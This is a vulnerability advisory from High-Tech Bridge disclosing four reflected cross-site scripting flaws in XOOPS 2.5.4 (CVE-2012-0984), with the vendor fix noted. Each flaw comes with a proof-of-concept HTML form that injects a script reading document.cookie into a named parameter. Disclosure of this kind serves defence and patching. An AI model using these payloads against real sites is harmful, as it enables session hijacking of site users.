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XOOPS 2.5.4 Cross Site Scripting

XOOPS 2.5.4 Cross Site Scripting
Posted Apr 18, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

XOOPS version 2.5.4 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2012-0984
SHA-256 | 128a2b4cd442c8b56300be601df8eac3e9f0f287fdd2cc683bdc79110222e0bf

XOOPS 2.5.4 Cross Site Scripting

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Advisory ID: HTB23062
Product: XOOPS
Vendor: xoops.org
Vulnerable Version(s): 2.5.4 and probably prior
Tested Version: 2.5.4
Vendor Notification: 7 December 2011
Vendor Patch: 22 February 2012
Public Disclosure: 18 April 2012
Vulnerability Type: XSS (Cross Site Scripting)
CVE Reference(s): CVE-2012-0984
Solution Status: Fixed by Vendor
Risk Level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ )

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Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in XOOPS, which can be exploited to perform Cross-Site Scripting (XSS) attacks.


1) Multiple Cross-Site Scripting (XSS) in XOOPS: CVE-2012-0984

1.1 Input passed via the "to_userid" POST parameter to /modules/pm/pmlite.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action='http://[host]/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>


1.2 Input passed via the "current_file" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>


1.3 Input passed via the "imgcat_id" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn">
</form>


1.4 Input passed via the "target" POST parameter to /class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>


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Solution:

Upgrade to XOOPS 2.5.5 Final.

More information:
http://xoops.org/modules/news/article.php?storyid=6284

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References:

[1] High-Tech Bridge Advisory HTB23062 - https://www.htbridge.com/advisory/HTB23062 - Multiple XSS vulnerabilities in XOOPS.
[2] XOOPS - http://www.xoops.org/ - XOOPS is a web application platform written in PHP for the MySQL database. Its object orientation makes it an ideal tool for developing small or large community websites, intra company and corporate portals, weblogs and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

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